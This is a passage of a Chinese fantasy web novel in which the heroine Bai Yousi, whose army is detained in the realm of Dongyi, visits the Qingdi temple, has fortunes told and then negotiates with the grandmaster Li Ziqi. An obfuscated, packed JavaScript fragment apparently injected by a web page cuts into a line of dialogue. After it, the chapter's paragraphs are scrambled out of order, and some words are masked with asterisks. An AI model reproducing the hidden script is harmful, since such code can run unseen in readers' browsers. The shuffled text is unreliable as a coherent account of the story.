再比如这支万人规模部队的活动范围被严格限制,连军官也不允许离开出云港,但王元德、郦求凡以下军吏,包括当地有品级的世族子弟,都对白有思以下的大小头领保持了某种礼貌与热情,经常邀请这些人饮酒赴会,也会适当邀请出城往周边游玩; 还比如,监视、观察自然是全程的,黜龙帮的船队因为要修理被集中在了港湾里,而部队则被要求就地在城外某处山海野地里建立营地屯驻,但这个过程中黜龙军的营地却得到了尊重,没有谁趁机进入、要求管辖什么的……一开始的时候王元德一度发文尝试征缴武器,但被白有思给直接拒绝后也不再坚持; 除此之外,还有犯法了或者逃亡的黜龙军士卒被处置时会请头领旁听等等等等…… 咋一看,这就是一个既防备又维持了某种外交面子的体面姿态。 只不过,眼瞅着船修好了,人员休整好了,白有思提出要出发离开东夷回河北时,王元德与郦求凡全都顾左右而言他,问急了,就是船其实还没真修好,或者近来海上有大风。 现在则终于在私下承认,他们得到授意,不许黜龙军离开。 “不过若是这般,谁又能决断呢?又为什么要留住我们?留我们有什么好处?”白有思顿了顿继续来问,竟没有许多惊愕之态。 倒是马平儿和程名起,几乎是满脸的不解,几位陪同而来的本地东夷世族子弟,也多皱眉疑惑。 “我也不知道,我是直接得了我们国主的旨意……不过白娘子也不必过于担心,就像你说的,你们黜龙军一整个船队,战兵一万,数千水手船夫,为了看管你们,我们也摆了这么多人,徒耗人力钱粮,留着你们没好处……所以,既没有一开始图你们的意思,那便是真有事要与你白娘子商议。”话到这里,王元德顿了顿,方才继续言道。“据我所知,再过几日,应该就有人从王城那里过来了。” “希望如此。”白有思也只能颔首,却持长剑站起身来。“反正不能这么拖下去……恕我直言,若是东胜国一心要与我们黜龙帮为敌,一开始趁着我们船队损伤全军无力之时便该请来你们那位大都督,来轻松覆灭我们,而若是暂时并不准备与我们为敌,便该早早放我们离去……这般拖下去,我们受困日久,怕是无人能忍,双方不啻于开战。” 王元德笑了笑,没有理会对方的威胁……只能说,数年光景,足以改变一个人的外在性情,尤其是在**斗争复杂频繁到极致的东夷这里,他早就不是当日战场上直接威胁大宗师的那个年轻王族近支子弟了。 这次,对上一位“可能宗师”他都足够尊重和圆滑。 然而,饶是如此,其人随之起身后还是忍不住来问:“白娘子。” “什么?”已经走出半山亭子的白有思回头来看。 “杀皇帝,杀一个自称了快二十年陆上至尊的圣人,居然无足轻重吗?”王元德还记着这事呢。 “那又如何?”白有思略显不解。“不说曹彻自寻死路,便是其他皇帝被人杀死的还少吗?王将军,中原非是东胜,没有一个至尊整日盯着的……甚至莫说皇帝,四御至尊,难道不也相当于被中原人硬生生赶出来的吗?” 王元德一愣,讪讪颔首。 就这样,二人不再多言,回到登山路上……路上可不简单……马平儿、程名起亲自带着二十名单衣劲装的黜龙军随行除外,居然还有数百名侍从、侍女,全都是出云州分给王元德这位皇族将军的官奴,他们或赤身抬着空置的步撵,或举着罗伞旗帜,或捧着盛满清水的盆罐,或捧着衣物箱笼,或扛着扁担、推着车子,或持长刀**摆出姿态,几乎塞满了山道上的这块平台。 而这堆人后面的山路台阶上,许多准备上山**祈福的平民与贱民,皆被堵塞,却又密密麻麻跪在那里,俯首不敢抬。 白有思望了这边一眼,微微蹙眉,然后转身继续向上而去,王元德、程名起、马平儿还有几位本地东夷贵人,纷纷跟上,偌大的队伍也再度启程。 很快,中午之前,他们便登上了青云山,来到了青帝爷的总观中。 宗师修为的白氏女、黜龙帮登州总管与皇族后起之秀中排名前三的将军一起抵达,观中自然是大开山门,掌管观中的一位紫袍道人更是亲自出迎。不过,所有人都能看得出来,此地的道人们倒是明显不卑不亢……人家是有倚仗的嘛,这里是青帝爷的总观,或者说青云山所在的整座大山脉都是青帝爷的私龙财产,而青帝爷则是东夷这个国家-地域-**实体的实际创造者与保护者,再加上这里到底是中原之外的边鄙之地,没了三辉挤压,朝廷与士人抵抗,神圣之事屡见不鲜。 据说,就连青帝爷都经常亲自出现呢,只不过,在化成凡人的情况下,很难分辨真假罢了。 既到了此地,肯定要正式的祭拜青帝爷了,过程也不是太繁琐,上香,写了祝词塞入香囊,拿丝线挂到院中许多棵大树中的一颗上去就行了。 就好像当日东都温柔坊里一般。 “国师。”白有思歪着头看了看满树的香囊后,似乎回想起了什么事情,过了好久才回过身来,却转向了身侧一名紫袍道人。“我有几件事想问一问。” “不是国师,是副国师,三品阶位。”紫袍道人赶紧更正。“白娘子请讲。” “当先一件事,乃是当日贵国大都督郦子期帐下有个学生,五六年前去了江淮一带做间谍,是当时靖安台派遣我去办的案子,他本人被我夫君张行发觉处死,临死前答应将他骨殖送回,不知道是该送入家中,还是送在什么地方?若是送入家中,能否请副国师遣人稍作打探,此人在江淮时自称左游仙,又冒充了一个叫左才将的人……据说是下三品家世出身,靠修为和功劳有希望转到上三品的家世,娶了王族下嫁的宗室女子。” “道理是要送到家里,但送到此间也无妨,我们可以代为转送。”紫袍道人倒是格外利索。“而且此人我一听就知道是谁,国中姓左的不多,来历还这般清楚,便是左游仙的名号我们也听过,委实错不了……不过,若是左游仙自家请求张首席送骨殖回乡,倒也不是回乡安葬的意思。” “有什么说法吗?”白有思不免好奇。 “有。”旁边王元德忽然开口。“他这个回乡其实是想证明自家是殉国,想让他家家门再升一品……若我没记错,这厮六七年前消失的时候,家门应该是第四品,若按照大都督的法令,凝丹以上殉国,家世自提一品,便成了上三品……从这个道理讲,白娘子今日问出来便是相当于送他骨殖回乡了。” 白有思若有所思,继而颔首,却没有再问上三品有什么好处,这九品制度本就是从中原建立起来的,被青帝爷给“收纳”了而已。 “正是这个道理。”紫袍道人也没有遮掩。“白娘子还有什么想问的?” “有。”白有思回过神来,指着脚下大山来问。“这山跟登州北面的山本是一体?” “据说如此。”紫袍道人昂然来答。“当日东楚龙凤齐陨,赤帝娘娘震怒,主动战了白帝爷与黑帝爷,却渐渐不支,青帝爷便慨然出手,以作劝和,据说祂顺着那钱毅殒身之地,亲手施展威能,将他所居的东胜神山一分为二,一半落在中原登州北侧,一半落在东胜国里,这便是落龙滩与眼下两山隔滩相望的局面,而黑白二帝见状,晓得厉害,便放了手,也不敢再为难赤帝娘娘。” 白有思道:“东境那里却没有青帝爷主动分山的说法,倒也是说四御是因为之前祖帝一事,到东楚龙凰一事,各自再不能忍耐,相互大战了一场,**不少神仙真龙,四御也直接动手,可最后却是赤帝娘娘强行给郦月、钱毅升龙,弄出来一片能被海水浸没的荒滩来。” “《郦月传》这种荼毒甚广,许多人看了都以为是真的,我们要多看史书……这件事《太玄经附注》里有写。”紫袍副国师谆谆善诱。“就是青帝爷劈开的。” “但据我所知,《郦月传》是白帝爷亲手所录,一些演义倒也罢了,这种祂亲身参与的事情也会说假话吗?”白有思继续来问。 紫袍道人愣了一下,继续来笑:“至尊也有喜怒哀乐,更有恩怨,未必不会扯谎骗人。” “原来如此。”白有思也笑了。“原来如此……这是落龙滩的来历,但这山呢?” “什么?”原本还挺坦然的紫袍道人莫名有些尴尬起来。 “山……”白有思指着脚下大山说到。“整个山脉,落龙滩出来之前,自大河与济水口南侧一直漫延到此地的这座大山脉,果然是天成的吗?” 紫袍道人想了一想,无奈摇头:“这个真不知道,白娘子问这个是有什么缘故吗?” “没有。”白有思便做解释了。“只是我那夫君张三郎素来喜欢这些奇奇怪怪的东西,他许久之前就说这个山不正常,否则大河口和济水口应该转向北面的,倒像是个至尊显圣的痕迹。” 紫袍道人这才恍然,再三来笑:“张首席说的其实有些道理,毕竟是青帝爷他老人家之前万载里的居所……但具体如何,老道确系不晓得,而且照这个道理来说,如何不是大河有人动了手脚,使之不能移动呢?” 白有思点头,也不计较:“还有一事。” “白娘子尽管来问。”紫袍道人也不计较。 “我此番上山,并非是什么要紧的事情,只是为至尊上香祈福,然后替我家夫君问下左游仙之事,如此而已,现在事情了结,接下来只想自行游玩,能不能请国师放开禁制,让寻常百姓进来上香挂囊,祈福问安?”白有思继续来对。 “自然可以。”紫袍道人摆摆手,示意下面随行的道人去放行,王元德也挥手,示意跟来的官奴们往两侧偏殿躲避、安歇。 而见此形状,紫袍道人犹豫了一下,复又主动来问:“白娘子,我之前就听说黜龙帮治下没了官奴,现在又连私奴也直接开释了,不许再蓄?” “国师消息灵通,不错,新的《黜龙律》里是废了奴籍的。” “但还是授田为国本?” “是。” “若是这般,你们的贵人,也就是龙头、大头领、头领,份地应该比丁口授田多许多吧?” “是,授田分两种,一种是丁口田,人人都有,看当地人口均分;一种是军功田,看军功分授,而头领、大头领又有作战的基本团体战功,自然会多许多田。” “那若没了官奴、私奴,谁来耕种这么多地呢?”紫袍道人看起来是真的好奇,而且他说的相对于东夷本地而言应该都属于前沿信息。 “雇工,或者把地租出去。”白有思给出了一个答复。 “可开释的奴籍都授田了,他们只种自家地怎么办?贵人繁忙,又没人来租地或者雇佣不到帮工该如何?” “我们没遇到这种情况。”白有思认真道。“四年前起事的时候虽然没有律法,却也实际上开释了几乎所有官奴,然后就地安置授田,而他们中但凡想过点好日子的都会再去做帮工,便是寻常授田百姓,日常也会编个席子去集上卖的……至于说授田后仓促寻不到人,或者头领在军中没有安家的,也还真有,他们一般会将自己的授田低价租给当地官府,官府再去雇佣,因为给的价高,反而更容易招人。” 说着,白有思伸手指向了随行的马平儿:“她就是如此……不然如何来的钱整日买桂花油抹头?” 马平儿不由脸色一红。 而白有思则干脆摆手:“你们也都去拜一拜青帝爷,挂个香囊做祈福吧!” 马平儿外加随从侍卫闻言如蒙大赦,赶紧散开,只程名起还板着脸扶刀立在那里。 对此,紫袍道人全程捻须含笑颔首不停,心中却反而惊疑……这黜龙帮的头领收些租钱,只是每个月弄些桂花油吗?这般情势,如何收了东境全境加半个河北?一个头领到底能有多少亩地? 应该只是玩笑吧。 一念至此,其人非但不敢问个清楚,反而赶紧赔笑。 倒是王元德,一直只是眯着眼睛不说话,很显然,这些天的接触中他早就知道了一些情况,知道这个道人是稀里糊涂,但他为什么要替对方说明情况呢? 他都不知道这个道人是替谁问的! 说不定是给姓郦的来问的呢! 就这样,接下来,紫袍道人引着白有思往偌大的观中各处颇逛了不少地方,一面自是主动讲解青帝爷的相关典故和对应景色,一面又问了不少事情,但无外乎是从东夷人角度来看黜龙帮比较推陈出新,或者说离经叛道的玩意,外加一些中原形势的关心。 这个时候一直还算淡然的白有思也看到了问题所在,一来,在黜龙帮地盘扩大到并跨河济之后,也似乎赢得了他们的尊重……说白了,这群东夷人跟她观察的一样,非常在意身份与强权;二来,相对于自己心心念念着回去不同,他们对黜龙帮的认知和震惊还停留在红山之会上,停留在多位大宗师认可的**上张行的**宣言;三来……他们是真的在乎那位皇帝。 没错,白有思开始反思了。 白三娘这个时候才醒悟过来,那位皇帝对于八成的天下人来说可能只是一个注定要死的难看的**、昏君,是早四年前就公认的冢中枯骨,但对于东夷人来说,却还是一条观感复杂到难以言表的恶龙。 三征可不只是把大魏打垮了,也把屡战屡胜的东夷人打垮了。 那位圣人,用如此荒诞的战争方式,用近乎小丑一样的表演,用巨大到难以理解的人力物力外加威信人心的损失,使得东夷也不得不一次又一次用倾国之兵来拼命,不得不在十几年内连续三次召唤了避海君,也不得不忍受了长达十数年的商业封锁,使得地气凋敝、土地减产,丁口不足、百业凋零,甚至还激化了东夷内部**矛盾……这些东西,白有思都是有观察到的……那么敢问哪个东夷人敢小瞧了那位圣人呢? 但现在,这个整的东夷要死要活的陆上至尊,忽然一下就**,死的像条狗一样,难怪他们会觉得难以接受! 交谈兼游玩中,不知道是不是故意的,随着山门禁制被打开,寻常东夷乃至于全天下来朝圣祈福的客人们蜂拥而入,白三娘总是往人多的地方钻、去闲逛,看到祈福的残疾人也问对方如何上得山来,看到一身病的官奴就劝对方啊?东境,听说这官奴根本就是官府分给青帝观的,更是当场劝那紫袍国师放人治病。 也是颇得张行三味,就差学张三挂着那张难看笑脸了。 几次三番后,那紫袍道人实在是受不了,终于逃了。 而人一走,王元德就望着此人背影瞥了嘴:“这位副国师说来说去,其实就是想问一句话,却偏偏不敢对白娘子说。” “什么话?”白有思状若不解。 “黜龙帮是敌是友……或者说黜龙帮得了中原,会来打我们大东胜国吗?”意识到事情很快会被接手的王元德倒是毫不犹豫问出了这个问题。 白有思思索片刻,语气轻松给出了答复:“黜龙帮一日不得中原霸权,就一日不会向东。但反过来说,何止是黜龙帮,便是幽州罗术得了中原,也都会来打东胜国的。因为天下豪杰早有共识,一统四海,势不可改,这是自百族混战开始,几千年的天下大势,是天意所求……至尊都拦不住的。” 这话一说完,白有思自己便心下微动,然后微微转身来看周围,却没有察觉异常。 而王元德没有注意到这一点,但闻言也不气,只是来笑:“若是这般说,东胜国岂不是必亡?” “非也。”白有思正色来答。“甚至恰恰相反,东胜国的机会反而很大……天意是四海一统,却不是灭亡东胜国,我倒是不能理解,三征之后,便是东胜国也受了重创,可难道有大河两岸残破?为何不主动过落龙滩求大局呢?你们东胜国中,不是有许多中原正统吗?” “就是正统太多了!”王元德幽幽以对。“一层叠一层的,有的无能到了极致,有的又太厉害,不给做事人机会。” 白有思目光扫到一处,心中略微一惊,但还是主动上前,却不忘同时交谈:“可这般说,岂不是在埋怨青帝爷给你们上的锁链?” “如何不是呢?”王元德明显怨气深重。 “三位是要算卦吗?”来到一处观中成排卦摊其中一处前方,坐在桌案后的中年青衣道士赶紧摆手示意。“先来后到,你们三位虽有两位是贵人,却也要先给前两位客人算好再说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我什么都想问……”马平儿自然晓得阎庆是张行和白有思心腹的东都故人,是人事分管,前途不可限量,却觉得这卦象极准,语气也谨慎了不少。“还是只能问一个?” “两个吧。”青衣道人叹了口气,似乎有些无奈,但偏偏游刃有余。“饶我一饶。” “那就婚姻,还有我父亲在刀兵中的平安。”马平儿赶紧来言。 “先看你父亲吧!”青衣道人随手一掷,立即给出断语。“羡-上九:车轴折,其衡抈,四马就括,高人吐血。” “车轴折了又吐血是什么意思,要得病吗?”马平儿大惊,都带哭腔了。“还是残废?” “都不是。”道人从容解释。“是说不能后悔……你父亲所处的环境比较凶险,而你父亲的职务又好像是军官之类的,这就好像在险恶环境中奔马走车一样,这个时候,最大的忌讳是掉头或者更改道路……换句话说,只要你父亲闷着头一条道走到黑,做个尽职尽责的纯臣,反而没有大的凶险,但他如果为了一些事情做反复,比如背主、比如脱离一些故人,反而会九死一生,立即遭厄。” “我还劝我父亲离了淮右盟,他却要一条道跟着杜龙头走到头……”马平儿瞬间意识到了什么。 “这说明你父亲经验老到,反而看的清楚。”道人嗤笑一声,然后再度抓起算筹,随手在桌上一扔。“婚姻……上-次四:夫妻反道,维家之保。” 马平儿刚刚如释重负,此时又紧张起来:“夫妻反道是什么意思?” “夫妻反道,各有守也,这是好事。”道人收起算筹,随口解释。“你婚姻注定不错,是因为你们夫妇都各有自己的事业,虽然会在聚散上有些辛苦,但因为各自都有倚仗,反而不会出岔子。” 马平儿连连点头,也学着阎庆作为,站起身来恭敬一礼,却没带钱,便直接掉头去往阎庆离开方向了。 “三位谁先来?”青衣道人此时稍作凝重。 程名起一声不吭,走上前去,就在卦摊前坐下:“我……问我这辈子……随便什么都行。” 青衣道人愣了下,然后当场一抛,给出答案:“擅自问了前途……戾-次五:东南射兕,西北其矢……你这人很有意思,你永远做不到首脑位置,做什么事也都不会当主持者,但做事情、坚守职责总是无可挑剔。结果就是,跟你一起的那些做主的人,如箭矢流水一般快速从你身旁经过,有的一飞冲天,有的一蹶不振,有的反反复复,而你始终缓步前行,最终成大器,出将入相也说不定。” “承阁下吉言。”程名起点了下头,不置可否,只从腰中摸出两个大钱来摆在对方案上,便转到白有思身后了。 白有思望着身前中年青衣道士,终于将长剑放在一旁平**到了卦摊前,然后微微一笑……不知道为什么,来到东夷后,她反而渐渐变得爱笑了:“道人也请算一算我的前途。” 那道人握着算筹,望着对方眼睛,竟不能投,半晌方才给出答复:“白娘子的前途不是我能决定的。” “道人认得我?”白有思侧头来问。 “这是自然,白娘子到出云一月了,今日来观中,国师专门叮嘱,要好生应对的。”青衣道人无奈苦笑。“谁伺候不好,本旬剩下日子就吃不到鱼了……但真寻到我头上,手里这个算筹又怎么敢松手呢?” 白有思点点头,也笑:“那就不为难阁下了,我夫君张行的前途如何?” 青衣道人握着算筹的手一时间更紧了:“这个得让张首席亲自来我面前才知道。” 白三娘再三来笑:“那问下我们二人婚姻。” “差-次八:足累累,其步躟跃,辅铭灭麋。”青衣道人终于将手中算筹弃到案上,然后迅速给出解读。“足累累,说明一旦踩过去就绝不会回头……意思是说,你们二人都是有自己心思且意志坚决的人,是绝不会轻易回头、变道的,这就使得你们的婚姻根据前途道路来定,若你们二人道路不同,则虽然在一起,婚姻却名存实亡;反过来,若道路相同,哪怕是分割两地,也名亡实存。除此之外,还似乎要坚定决心,大踏步奋起,才能相互跟上对方。” “好卦!”白有思听完,居然有些茅塞顿开之意。“好卦,这三卦都是好卦。” 青衣道人明显一愣:“我只算了一卦。” “至尊祖庭之中,道人又是侍奉青帝爷的道人,言出便是青帝真卦,何拘形势?”白有思昂然来对。“第一卦,你说我的前途不是你能定的,而我眼下最顾虑的便是至尊插手,将我困在此地,你既替青帝出言,便是说青帝爷已经许诺不插手此事,难道还有比这更好的卦吗?” “若是这般讲,黑帝赤帝白帝都管不着你。”道人愣了半日,方才低头来言。“这是实话。” “多谢此言。”白有思点头。 “那敢问白娘子,第二卦怎么解?”道人复又抬头,神色也严肃了不少。 “就更简单了,往表面上讲,便是我夫君胸怀大志,一心要一统四海,所以最后终究要在这东胜之地决一胜负,看看能不能登此山来见阁下;往内里讲,便是他的事业顺应天意,将来或许能得证真位,这不就跟当日白帝爷、祖帝类似吗?他们一意变革,而青帝爷万事保守,迟早要对上当面做过一场……”话到这里,白有思幽幽感叹。“成了就是白帝爷,不成,就如祖帝那般不知所踪。” 道人沉默良久,喟然来对:“天下新事,十之**皆为逆天而为,青帝爷守旧存亡,难道还是坏事?祂自是晓天意之第一,万载经历,难道不知道自己是在逆天还是顺天?” “又不是在指责青帝爷。”白有思认真道。“诚如道人所言,青帝守旧存亡,万载如一,未必是坏事,更像是与守旧之道相合。而天下新事,是好是坏,天下英雄,是顺是逆,与他碰一碰,不也是个检验吗?” 道人终于稍作释然,便来笑问:“这是白娘子的道理,还是那张三爷的道理?” “是我认了他的道理。”白有思言语干脆。 道人连连颔首:“今日三卦,白娘子都算满意,看来还是有鱼吃的。” 白有思持长剑站起身来微微一礼,便折身而去。 倒是王元德,早在一旁听愣了,居然没有跟过去监视,反而迫不及待恭敬行礼,然后立即坐下来言:“请阁下务必帮小子算一算前途。” 那道人愣了一下,无奈至极:“王将军,白娘子只是觉得这是在青帝爷的祖庭里,借我这个道人与青帝爷做个交流,不是说我真是青帝爷下凡……我要是青帝爷下凡,我记挂那饭里的鱼干嘛?” “我也只当你的卦是青帝爷的卦……帮我算吧!”王元德听得如此,还是不甘心。 道人无奈,只能抓起算筹往桌案上一砸,然后立即给出了结果:“戾-次五:东南射兕,西北其矢。” “跟刚刚那位程名起程将军一个卦象?”王元德一愣,努力回忆。“缓步前行,终成大器?” “不一样的。”道人无奈,指着头顶太阳说到。“风云日月天地,时间不一样,天象不一样,同一个卦象根本不是一回事……这是说,你可以在自己的格局里做到极致,却始终不能做‘首’!而王将军既是我东胜国王族,这便是说,不管将军怎么谋划,怎么辛苦,这大位都与你无缘!” 王元德再度愣了一下,站起身来,勃然变色:“你这厮是谁家的关系,专来坏我心智?” 道人愈发无语,指着周边巍峨建筑群来答:“若此事是青帝爷借此卦说的,将军不信有何用?若是我串联他人,专行哄骗,将军不信,便当自强而已,如何前恭后倨,这般荒唐?!” 王元德目瞪口呆,只呆呆坐了回来。 (本章完) 第十四章风雨行(14) 阎庆的抵达使得出云州的黜龙军军心明显振作,这倒不是说他带来了多少军情讯息与局势情报,或者是带来了多少物资补充,物资肯定是没有的,情报有也是落后的,主要是联络人的出现和来自黜龙帮指挥机构的直接响应让他们摆脱了之前的孤立感与不安感。 而也不知道是不是巧合,从阎庆抵达的这日开始,出云州这里对黜龙军的管控也明显放松了不少。 在白有思向出云太守郦求凡发文请求得到应许,并以十三副甲胄换来八百贯文现钱后,黜龙军开始以五百人规模全面轮换休假,每人发五十文半日假往城内、城外做娱乐。 至于头领们,活动范围就更大了些。 正是因为如此,接下来,黜龙军这支偏师的上上下下得以看到了许多他们之前没心思看或者根本没看到情形,也对东夷有了些真切的了解。 但也仅此而已,不过是四五日光景,大约是东都禁军渡河占据徐州的时候,这支偏师终于迎来了一位某种意义上可以决定他们命运的正主,也是东夷这边一位真正的贵人: 出云太守郦求凡的后文对话写为叔父,东胜国水军元帅,太师,侍中,安西将军,都督东胜国西、南十七州诸军事,华阳郡公,东夷九百年名门、一品氏族郦氏族长…… 当然,也可以更简单一点,东夷唯一一位大宗师郦子期。 见面地点在出云州州城内,却没有去太守府中,而是本地一家世族的后花园中,这里有州城城内最高点的一座五层楼,在顶楼可以俯瞰整座城池,然后北面见海,西面见山,委实是个好去处。 号曰归春楼。 “那就在东胜国待着就好。”郦子期语气清冷。“不是你们自家说的吗?区区东夷也有五十州,既有五十州一万兵还是养得起的,我们不怕浪费钱粮。” 郦子期点点头,复又来问:“那雄伯南据说是黜龙帮中第一个进位宗师的,却不晓得是多大年纪?” 就这样,双方行礼完毕落座,白有思先行来笑:“不想居然是大都督亲自来见我们。” 这是告知对方,黜龙帮是联络上此间了,这不是一个可以任由他们欺辱的孤军。 而回到眼下,郦子期想了一想,本欲驳斥,但“制住”二字是自己亲口所说,再加上白有思也不接话,只放任王振,却也无奈,便扭头去看自己侄子:“五郎,莫非是你不听军令,没有好好接待诸位,以至于起了什么误会?” 至于其余头领,也就是唐百仁、王伏贝等人,则留在营中值守。 “什么意思?”白有思微微蹙眉,她看出来了,王振是真的情绪上来了,不是按照之前商议的那般扮演这个混不吝……但这不是关键,关键是这话说的很奇怪,跟他前几日做商议时的态度有些冲突。…. 非只如此,在场东夷贵人,包括原本看笑话的王元德,此时也都看向了王振。 理论上,这支偏师是没有反抗余地的。 郦子期见状愈发无奈:“王将军,白娘子……你们这是何意?” 但与此同时,不知为何,白有思还是觉得对方这临时起意的话有一番自己的野性生命力,让她情不自禁表示认可。 郦子期这个时候反而不气,甚至,他在看了眼并没有太大反应的白有思后便立即晓得,这位白娘子估计已经猜到或者知晓了是怎么一回事,便更加放松起来,却又放开失态的王振看其余人来问:“为何诸位张口闭口都是奴?奴籍这种事情,你们大魏……中原不也一直有吗?也就是黜龙帮刚刚才正式废了奴籍,便如何这般上心。” “因为彼时是生死攸关。”钱唐也立即反驳了回去。“只是忧心为乱兵所丧罢了。” “那也无妨,老夫可以在这里等着,先让我侄儿一把火烧了你们船队,或者直接放你们船队离开,反正到时候我们水军还可以护送你们离开;然后老夫便亲身与王将军一起,联手与你们做过一场,看看谁胜谁负?”郦子期语气有些无奈。“但若是这般的话,老夫反而不懂了……只是要你们换个地方离开,如何便要宁死不从呢?” “这我就不晓得了。”白有思有一说一。“此类消息,我虽得了帮中一些告知,但也是稍早一些的,未必有大都督知道的清楚。” “因为这话听了就荒唐。”王振看着主位上的大宗师,居然拍案而对。“无缘无故扣押我们,再行哄骗我们穿过你们腹地,除了将我们贩卖成奴,还有别的说法吗?” “是,有这件事。”郦子期点点头。“三征之后,我们少了许多丁口青壮,自然也缺了些官私奴籍来做生产。” 场上刚刚还算和煦的气氛陡然尴尬起来,但因为郦子期和白有思这一主一客的放松,却称不上紧张。 “这事我与老钱曾细细论过。”王振也再度冷笑起来。“你们这些东夷……东胜人必然是在奴籍上出了大岔子的,不然不至于在我们都在登州立足了,还遣人去沿海拐骗丁口……为此,帮中还跟你们掰扯过,是也不是?” “听到了吗?总管,这都是命,这些人成了奴都是天意如此!”王振听到这里,忽然狰狞起来,扭头盯住了白有思。 孰料,郦子期见到对方应许,反而摇头感慨:“白娘子,你可晓得一旦再出海,便又是波涛万顷?” “正是因为放开禁制,老子亲眼见到你们东夷人的腌臜,晓得我们这一万多孤军是被逼到墙角了,这才敢来问!”王振振振有词。“否则你一个大宗师主动来见,我是疯了吗当众找你难看?!” “王……大头领想多了,只是好奇而已。”与东胜本地世族子弟的惊惶不同,郦子期倒是毫不在意。…. “那好,还请诸位且退,只我与白娘子一人交代个清楚。”郦子期摆手示意。“一刻钟说完,大家再来行酒。” “那也是命!”王振摆手以对,却又醒悟。“总管和老钱会错意了!我是说他们好好地没犯错,入了奴籍都只怪老天罢了!怪三辉四御不长眼!” “大都督只顾打探我们战力,莫不是如传闻那般,是敌非友,这次来也是要对我们用强了?”就在这时,不待白有思开口,王振忽然插嘴。 “足够了。”白有思站起身来,拔出长剑插入身前案上觥筹之间缝隙,昂然应许。“郦公一言,我自当效命!明日咱们便出发!” 四月初六下午,郦子期刚刚抵达此地不过一个时辰,便在归春楼顶楼设宴招待黜龙军诸人,白有思着收袖布衣劲装配长剑戴武士小冠,如约领王振、钱唐、阎庆、马平儿四人来见……这里面阎庆是刚来,王振、马平儿本是随行领军头领,稍微值得一提的是钱唐,他离开平原郡转到新设立的无棣郡本质上就是为了建立大河出海船队,此番随白有思一起出动,负责后勤,来到出云后,更是与领兵众人分隔,只在出云港内负责看管船队,这几日才往来方便一些。 郦子期怔了一下,还是没有反应过来。 “我和我家国主受人之托,请你们南下,所以,诸位何妨自我东胜国东南济州出海,离开我们国土。”郦子期说出了一个匪夷所思的要求。 “仅此而已?为什么?”白有思似乎百思不得其解。 “这不是好事吗?”说到这个话题,王元德终于站在了与郦子期相同的立场上。 但是,王振发作前后,白有思以下几人全都无声,却也说明了黜龙帮这些人的态度——他们居然觉得这是个什么天大的事情,甚至还记恨和忧虑起来了。 确实,这是一个问题。 果然如此! “若是这般,还请大都督现在就许我们启程回去……这次收留之恩,我们黜龙帮必牢记在心,我来时首席有言,此次所费钱粮货物,必从登州加厚加优送还。”对方话没说完,阎庆也起身拱手相对。 “那你呢?”郦子期收回针对王振的目光,看向了身前的女子。“白娘子,你怎么看?” “若我们宁死不从呢?”钱唐也黑了脸。 “其实没这么多。”白有思忽然插嘴。“咱们昨日说了以后,我专门留心了城内街道与城外田野里,城内这里,委实商铺船队皆是贵人私有,本地人也十之七八是奴籍,但城外的话,只看田地分界便晓得,平民还是有一些的,所以整个东胜国内,奴籍与平民差不多一半对一半。” 故此,这些天有些走神的王元德明显一愣,郦求凡也心下一慌,倒是郦子期虽然意识到发生了什么事情,却只是轻笑了一声,维持了体面:“如此说来,诸位倒是不想用宴,而是要直接说正事了?”…. “不瞒大都督。”就在王元德对面的白有思也笑道。“我们黜龙帮制度,讲的是大家一起做主,这一万军、数千水手组成的船队里面,有一个任正将的大头领,四个领兵任郎将的头领,一位任太守的头领,一位任行台分管的头领,又不是我一人之私军,他们的生死求留,怎么可能是我一人与大都督做讨论呢?况且,我实在是想不到,连我们整军都被扣住了,还有什么话需要避人耳目?” “但他们是我的兵,我从登州带来的,我个人不管信还是不信,都许了他们,绝不会让他们落到为奴的地步!”白有思昂然来对。 “那也够吓人的。”马平儿面色有些发白,她晓得自己不擅长应对,所以今天原本不准备说话的。 “若我们不从呢?”王振冷冷反问。 “若是这般。”白有思想了想,恳切来问。“能不能让他们现在就动身,起船队回去,我大可安心留在这里,与大都督做说法,听些私人告知。” “王大头领这是如何说的?”钱唐也不由蹙眉,继而呵斥王振。“我在河北头一年,亲眼见局势坏掉后那些豪强筑坞堡收拢百姓的情状,若是没有帮里去专门拔除坞堡,只学薛常雄应了那些豪强,不是也凭空多了许多奴籍?便是朝廷之前的官奴私奴,虽说是穷困自卖多些,可哪个没有被豪门逼迫的?东胜国这里,便是再奇怪,奴籍也还是更底下的,也是被逼迫的,没人愿意被发卖成奴。” “在。”白有思倒是依旧坦荡。 “那你……” 郦子期一愣,然后便是真的不解了:“什么腌臜?还请阁下细细来说。” 果然,王振再度面容狰狞起来:“其实不只是他们,要我讲,全天下的人都一样,都是天生地养的,人活着就没错,心里想要什么,想做什么,也都合乎天意!否则凭什么要生人到世上?错不是没有,但都不是人自己招的,错都是命给的!都是天意自家没安排好!是三辉四御不长眼!放在东夷这里,就是青帝爷没做个好至尊!平白让好人家遭了殃!” 就是这种人才能说出这种绝对的、明显缺乏敬畏的言语! 这种人,若没有一个厉害的人压着,那不管是在黜龙帮还是在大魏朝廷,乃至于去做个盗匪,若到最后恐怕都无法存身……必然没有好下场的。 “奴籍跟奴籍不一样。”钱唐平静开口解释。“大魏那里,官奴和私奴加一起,也不过天下一成往上,最多的时候,也不会过两成……而这些日子,我在港口看管船队,看的清楚,除去往来的北地、河北水手客商之流外,往来街道上的东胜国本地人,却十成里有七八成是官奴、私奴。这岂不让人畏惧?” 郦子期一愣,难得颔首,却又摇头:“这般说来,怪不得要用伏龙印了,却居然正好契合,也怪不得你父亲会退却。”…. 而郦子期顿了一顿,则继续言道:“当然,四年前在落龙滩遇到司马将军,便晓得那人委实不可制,也便一直想着与之齐名的白娘子是何等风采?今日也该一见。而既见面,也果然如我所料……只能说,司马将军也好、白娘子也罢,这个年纪便进位宗师,委实让人心惊肉跳……张首席如何?我虽未见他,但黜龙帮如此势力,想来修为也不浅了吧?莫非也是宗师?” 头戴高冠,同样一身布衣却衣袖宽大的郦子期闻言也捻须来笑:“老夫若不来,这东胜国五十州,怕是只有青帝爷下凡才能制住白娘子了。” “这倒不是。”白有思倒也坦诚。“我家三郎算是黑帝爷的点选,二征前后便开了一种锁,真气积累极多,修为进展却极慢。” 